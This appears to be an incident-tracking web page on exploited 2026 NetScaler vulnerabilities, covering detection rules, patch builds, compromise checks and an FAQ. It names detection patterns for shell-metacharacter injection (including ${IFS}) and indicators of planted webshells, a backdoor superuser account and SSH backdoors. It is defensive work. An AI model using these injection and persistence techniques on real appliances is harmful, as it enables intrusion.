GTIG publishes five YARA rules: G_APT_Backdoorwebshell_WHIPSHOT_1, G_APT_Tunneler_SLAPSHOT_1, G_Hunting_Backdoorwebshell_NetScaler_C2Headers_1, G_Hunting_Config_NetScaler_PHP_1 and G_Hunting_Script_NetScaler_Persistence_1. This page links to them rather than copying them.
Source: GTIG/Mandiant advisory
Nextron THOR Scanner rules
As of 29 September, Nextron has three rules in the THOR Preview channel:
LOG_SUSP_EXPL_CVE_2026_88771_Sep26WEBSHELL_CSS_PassThrough_Sep26, which detects the webshell's behaviour, not only its filenameEXPL_CVE_2026_88772_POC_Sep26, which detects PoC artefacts, not attacks on an appliance
Nextron also published a YAML filesystem IoC set derived from Citrix's scanner script. It covers 12 of the script's checks, consolidated into four file rules. It leaves out the 22 checks that depend on logs, configuration or runtime state.
Preview-channel rules have not finished manual QA, so expect more false positives than with stable rules. A match is a lead for investigation, not proof of compromise.
Source: Nextron Systems
Community detection rules Rules
- Elastic: "Potential NetScaler Log Poisoning Command Injection Attempt", an EQL rule on Citrix ADC logs. Merged on 28 September.
- Sigma pull request #6352: shell metacharacters sent to the NetScaler authentication endpoint. Not yet merged.
- Corelight: Zeek hunting queries, including a search for the reverse-shell IP in the IoC table.
- Nuclei pull request #17336: an active injection probe, not a version check. It writes to the target's logs, so run it only on systems you own or administer. Not yet merged.
- Lupovis suggests two hunts:
POST /nf/auth/doAuthentication.dorequests whose body containspitboss PPE unexpectedly died NSPPE, and DNS lookups from a NetScaler ending ininstances.httpworkbench.com. [125]
Beazley Security Labs checks Passive
Beazley's BSL-A1216 advisory lists read-only shell checks. It splits them into those to run before patching (the web-server config, /bin/sh permissions and NX-CVE-OK test markers, which a reboot rebuilds) and those that persist across upgrades (hidden files under /var/netscaler/logon). It also recommends comparing /etc/httpd.conf with a clean appliance on the same build.
Source: Beazley Security Labs BSL-A1216
watchTowr Detection Artefact Generators Active tests
These tools send traffic to an appliance. Run them only against systems you own or administer. This page links to the repositories. It does not reproduce their code or payloads.
- CVE-2026-88771: watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771. This is the only PoC-class tool Beaumont vouches for. That was validated independently on 29 September, though the post itself has not been found.
- CVE-2026-88772: watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88772. It sends 120 DTLS records (about 176,640 bytes) to the gateway and measures the response.
Beaumont describes the other GitHub "PoCs" he has seen as fake AI slop. That is his characterisation. [95]
Remediation: patching NetScaler ADC and Gateway
In short: check for compromise and preserve evidence first, then upgrade to 14.1-73.46 or 13.1-64.29 or later (FIPS/NDcPP builds below) - one upgrade that covers CTX697096, CVE-2026-88779 and CVE-2026-107406, per Citrix as of 9 October 2026. Patching does not remove an existing backdoor. [4]
CVE-2026-107406 (8 Oct): SAML deployments must upgrade again - a third time. Citrix published CTX697191 for a SAML memory overflow leading to remote code execution or denial of service, CVSS v4.0 9.5. On the builds fixed for the earlier bulletins (14.1-73.37 to 73.41, 13.1-64.23 to 64.28 and the FIPS/NDcPP equivalents) only an appliance configured as a SAML IdP (add authentication samlIdPProfile) is affected; on older builds a SAML SP (add authentication samlAction) or IdP. The 73.46 / 64.29 / 37.283 generation fixes everything at once. The bulletin lists no workaround. Citrix says - per secondary coverage of its customer guidance - that it is not aware of any unmitigated exploits, and the CVE is not in CISA KEV. [4][104]
Fixed builds (Citrix CTX697096, CTX697174 and CTX697191)
| Fixed build, exactly as listed by Citrix |
|---|
| NetScaler ADC/Gateway 14.1-73.46 and later (recommended target: covers CTX697096, CVE-2026-88779 and CVE-2026-107406) |
| NetScaler ADC/Gateway 13.1-64.29 and later (same coverage) |
| NetScaler ADC 14.1-FIPS 14.1-73.46 FIPS and later (same coverage) |
| NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.283 and later (same coverage) |
| Intermediate fixed builds: 14.1-73.37, 13.1-64.23 (CTX697096), 14.1-73.41, 13.1-64.28 (CVE-2026-88779) - a SAML IdP on these builds is still affected by CVE-2026-107406 and must upgrade again |
Source: Citrix CTX697096, CTX697174 and CTX697191. Use the bulletins as the authority for which build applies to your deployment.
13.1 upgrades: watchTowr advises running show ns variable first. If it returns any variables, use 13.1-64.24 to avoid a known reboot loop during the upgrade; Citrix lists this as a known issue in 13.1-64.23, not a vulnerability. [121][13] CVE-2026-88778 is fixed by enabling Enhanced ISN Generation, not by the upgrade alone. [30]
Other notes from Citrix: the NetScaler VPX 15.1 Technology Preview is also vulnerable. It is not permitted in production and Citrix says a fix will follow. The Console Security Advisory scan may wrongly flag 13.1-64.23 as vulnerable until the next automatic advisory update, with no need to upgrade Console. samlRejectUnsignedAssertion OFF is no longer supported and is converted to the secure default on upgrade, so make sure your identity provider signs SAML assertions. [13]
Cloudflare WAF: Cloudflare shipped an emergency managed rule on 1 October that blocks the CVE-2026-88771 improper-input-validation pattern. It covers only that CVE, and Cloudflare itself says to apply the latest versions to secure the origin. Treat it as a stopgap for appliances that sit behind Cloudflare, not a substitute for patching or a compromise check. [113]
Secure Private Access: Citrix says Secure Private Access Hybrid deployments that use NetScaler instances are also affected, so those instances need the same upgrade. The bulletin applies only to customer-managed NetScaler ADC and Gateway; Citrix upgrades its own managed cloud services and Citrix-managed Adaptive Authentication. [1]
End-of-life releases: NetScaler ADC and Gateway 12.1 and 13.0 are end of life, receive no fix and are likely vulnerable. Migrate them to a supported release. [32][84]
The bulletin is inconsistent about the last build. Its fixed-builds list says 13.1.37.279, while its affected-versions list says "FIPS and NDcPP BEFORE 13.1-37.279". Truesec and IFIN use 13.1-37.279. The table above keeps Citrix's fixed-builds wording exactly.
After patching
- Check for compromise and preserve evidence before you patch. Mandiant's CTO, Charles Carmakal, says customers should examine their systems
for compromise *before* upgrading/patching
. [122] Unit 42 lists the evidence to capture: [123]- a NetScaler VPX instance snapshot
- logs on remote syslog servers and in NetScaler Console
- a technical support bundle
- a packet engine core dump
- Patch to a fixed build from the table above.
- Hunt for compromise. Check for:
- webshells, including the GreyNoise path and alias above
- changes to
httpd.conf, such as an unexpected AliasMatch - unusual permissions on
/bin/sh, such as setuid or setgid
- If compromise is suspected or confirmed, Citrix's CTX694799 says to:
- take the appliance off the network;
- change every secret stored on it on the systems it talks to (LDAP and RADIUS secrets, OAuth tokens, API keys, SNMP community names) and the passwords of users who signed in through it, and revoke its certificates and private keys;
- check the servers and systems it connected to, especially authentication servers and management jump hosts;
- rebuild rather than clean: replace a VPX instance, wipe and reinstall an MPX, upgrade the firmware, then restore a known good configuration backup that pre-dates the compromise;
- rotate the local passwords and key encryption keys again after the restore, replace the restored certificates, and monitor closely for at least 90 days.
- Assume activity may be weeks old. Beaumont says slow disclosure means attackers have been active for weeks. [89]
Patching closes the vulnerabilities. It does not reverse a compromise that already happened. This page does not give remediation commands or guarantees. Follow Citrix and your national CSIRT.
NetScaler zero-day FAQ
Is there a new NetScaler issue involving SAML?
Yes - two, both needing SAML SP or IdP configuration. CVE-2026-88779 (bulletin CTX697174, 3 Oct): memory overflow leading to denial of service, CVSS 4.0 8.7, exploited in targeted attacks, in CISA KEV since 4 Oct; fixed in 14.1-73.41, 13.1-64.28 and the matching FIPS/NDcPP builds. CISA's 9 Oct alert confirms in the agency's own words that in unpatched deployments attackers use it to force reboots that accelerate execution of code previously injected via CVE-2026-88771. CVE-2026-107406 (bulletin CTX697191, 8 Oct): memory overflow leading to remote code execution or denial of service, CVSS 4.0 9.5; on the builds fixed for the earlier bulletins (14.1-73.37 to 73.41, 13.1-64.23 to 64.28) it affects only appliances configured as a SAML IdP, and on older builds also SAML SPs; fixed in 14.1-73.46, 13.1-64.29 and the matching FIPS/NDcPP builds, which cover all three bulletins in one upgrade. Citrix lists no workaround for either. Per secondary coverage of its customer guidance Citrix is not aware of any unmitigated exploits of CVE-2026-107406, and no exploitation is independently confirmed - the only public "PoC" repositories are fake exploit-vendor scams. [2][3][4][36][98][99][16]
Which NetScaler vulnerabilities are exploited?
CVE-2026-88771 (unauthenticated remote command execution in the default configuration, CVSS 4.0 9.5), CVE-2026-88772 (DTLS memory overflow leading to RCE or DoS, CVSS 4.0 9.5) and, since 4 Oct 2026, CVE-2026-88779 (SAML memory overflow leading to DoS, CVSS 4.0 8.7). All three are in CISA's KEV catalog. CVE-2026-107406 (SAML, CVSS 4.0 9.5, 8 Oct) is not in KEV and Citrix says it is not aware of any unmitigated exploits of it. Kevin Beaumont reports CVE-2026-88773 was chained with the two, but no other source has independently confirmed that. No exploitation is reported for CVE-2026-88774 to CVE-2026-88778. [1][29][3][4][87]
Which NetScaler versions fix CVE-2026-88771 and CVE-2026-88772?
Per CTX697096: NetScaler ADC/Gateway 14.1-73.37 and later; 13.1-64.23 and later; ADC 14.1-FIPS 14.1-73.37 FIPS and later; ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.279 and later (the bulletin also writes this build as 13.1-37.279). A SAML appliance should not stop there: 14.1-73.46, 13.1-64.29 and the matching FIPS/NDcPP builds fix CVE-2026-88779 and CVE-2026-107406 as well. [1]
What fixes CVE-2026-107406, and why upgrade again if I already patched?
CVE-2026-107406 is fixed in 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS and 13.1-37.283 FIPS/NDcPP (bulletin CTX697191, 8 Oct 2026). The builds from 27 Sep and 3 Oct (14.1-73.37/73.41, 13.1-64.23/64.28 and the FIPS/NDcPP equivalents) do not fix it: on those, an appliance configured as a SAML IdP is affected, and on older builds a SAML SP or IdP. Those builds are also where CVE-2026-88779 stops, so the 73.46/64.29/37.283 generation is the first that covers all three bulletins - the third required upgrade in under two weeks for SAML deployments that kept up. Check the configuration for add authentication samlIdPProfile (IdP) or add authentication samlAction (SP); the bulletin lists no workaround. [4][3]
Which NetScaler versions fix CVE-2026-88779, and why does stat denylist global AAA_REQUEST fail?
CVE-2026-88779 needs newer builds than the September fixes: 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS or 13.1-37.282 FIPS/NDcPP (per bulletin CTX697174). CVE-2026-107406 then needs 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS or 13.1-37.283 FIPS/NDcPP (CTX697191) - install that generation and both SAML issues are covered. As an interim measure, Citrix has released Global Deny List signatures for standard (non-FIPS) 14.1 and 13.1 appliances on the September builds, managed through NetScaler Console. Beazley's IR (4 Oct) describes the mechanism: the crash hits nsaaad while processing signature canonicalization with an oversized InclusiveNamespaces PrefixList; attackers use the resulting reboots to re-trigger the CVE-2026-88771 log injection on already-infected appliances, but appliances patched on 27 Sep no longer execute the injected commands. A customer report in Citrix's forum (unconfirmed, no Citrix reply) says that after patching to 13.1-64.28, stat denylist global AAA_REQUEST returns "no such resource" or an empty result where it previously showed hits - the customer's own interpretation is that the Deny List signatures apply per firmware to the CVEs known for that build. Verify mitigation state through NetScaler Console rather than relying on that one command. [3][36][57]
Does patching remove a NetScaler backdoor?
No. Patching closes the vulnerabilities but does not remove webshells or configuration changes planted before the update. Check for compromise and preserve evidence (logs, memory, a VM snapshot) before patching, then patch. [88][51][39]
How do I check a NetScaler for compromise?
Look for AddHandler or AliasMatch changes in httpd.conf that make non-PHP files run as PHP; PHP code in VPN script and media directories such as /var/netscaler/gui/vpn/scripts/linux/; a setuid bit on /bin/sh; /tmp/.uxdport and /tmp/.uxdlock (SLAPSHOT); and DTLSv1.0 SSL_HANDSHAKE_FAILURE log entries followed by an NSPPE crash. watchTowr's honeypot data adds: grep ns.log for pitboss PPE lines followed by shell metacharacters or ${IFS}; unexpected superuser lines (add system user / bind system user ... superuser) in /flash/nsconfig/ns.conf such as the backdoor account gw_health; an AliasMatch or SetHandler mapping a ...style.min.<hex>.css request to a hidden dotfile; unexpected egress DNS/HTTP from the appliance to OOB domains; and the SSH-backdoor artifacts /var/walk, /usr/bin/walk, a listener on tcp/37512 and the lo@vps key in authorized_keys files. Beaumont reports that the Citrix checker misses the /bin/sh setuid check, so a clean scan does not clear a host. [51][39][77][91][44][76]
When did the exploitation start?
Unit 42 traces version fingerprinting from 21 Aug 2026 (not exploitation) and .deb webshell requests from 4 Sep. eSentire saw CVE-2026-88771 exploited as early as 5 Sep 2026, more than three weeks before disclosure, and Google GTIG and Mandiant report CVE-2026-88772 exploitation since at least early September. Australia's ACSC advises reviewing for compromise since at least 4 Sep 2026. GreyNoise recorded a CVE-2026-88771 attempt on 24 Sep 2026. [69][51][26][77]
Who is behind the attacks?
No vendor has publicly attributed the activity to a named threat actor as of 1 Oct 2026. Mandiant's CTO says advanced and suspected state-sponsored actors are likely behind the initial targeted CVE-2026-88772 intrusions, without naming one, and Kevin Beaumont calls the attackers probably nation-state aligned. Both are assessments, not a confirmed attribution. [64][87][112]
Should I shut down or disconnect my NetScaler?
Before patches existed, many organisations were advised to shut down or disconnect NetScaler appliances: the Dutch central government applied "disconnect unless" from 26 Sep 2026, and Danish agencies including PET, the Armed Forces and the police switched theirs off. Now that fixed builds exist, GTIG/Mandiant recommend upgrading, isolating only appliances with confirmed or suspected compromise, and, if patching is delayed, disabling DTLS or blocking inbound UDP/443 upstream (this mitigates CVE-2026-88772 only, not CVE-2026-88771). [34][126][110][51]
Were CVE-2026-88771 and CVE-2026-88772 exploited as zero-days?
Yes. Citrix confirmed exploitation on unmitigated appliances when it disclosed them on 27 Sep 2026. eSentire saw CVE-2026-88771 exploited from 5 Sep, and GreyNoise recorded an attempt on 24 Sep, before any patch or CVE was public. [1][69][77]
Who found the NetScaler zero-days?
The exploited flaws were found during incident response: BleepingComputer reports Citrix discovered them while investigating incidents at customers, and watchTowr says they were discovered during forensics. The CTX697096 bulletin credits Michael Tucker, Chew Keong Tan and Alex Bernier of the JPMorgan Chase XOR Team, and Maxim Suhanov, without saying which CVE each reported. The Stack reports it understands the JPMorgan team disclosed the vulnerabilities, and says it could not independently confirm a disclosure timeline. [110][74][1][111]
Is PitScaler a live incident feed?
No. PitScaler is an independent historical snapshot, last updated 14 October 2026, 11:01 UTC. Check official advisories such as Citrix CTX697096 and the CISA alert for current status. [1][16]
How many NetScaler appliances are exposed?
Censys counted 42,735 NetScaler hosts on 28 Sep 2026, Unit 42 counted 50,277 potentially vulnerable exposed instances on 27 Sep, and Shadowserver reports more than 20,000 instances exposed and potentially at risk. These are exposure counts, not confirmed compromises. [84][123][124]
References
Bracketed numbers in the text, such as [1], point to the rows below. Every link below is the exact URL from the compiled dataset. IFIN, Truesec, GTIG/Mandiant, Nextron, The Register, Unit 42, the Dutch government letter, two more Beaumont posts, the CVE record, a second BleepingComputer article, the Canada, HKCERT and ACSC advisories, eSentire, Beazley Security Labs, Ingeniøren, DKCERT, NHS England, the CERT-EU advisory, SDxCentral, heise, Dark Reading, Lupovis's own post, and the Censys, Shadowserver, Lupovis, Beazley, Corelight, Elastic, Sigma and Nuclei material were added later, on 29 September. Links marked verification pending did not load in an automated check at build time. The URL has been kept unchanged, not replaced. For all other links, the check only showed that the page loaded, not that its content was reviewed.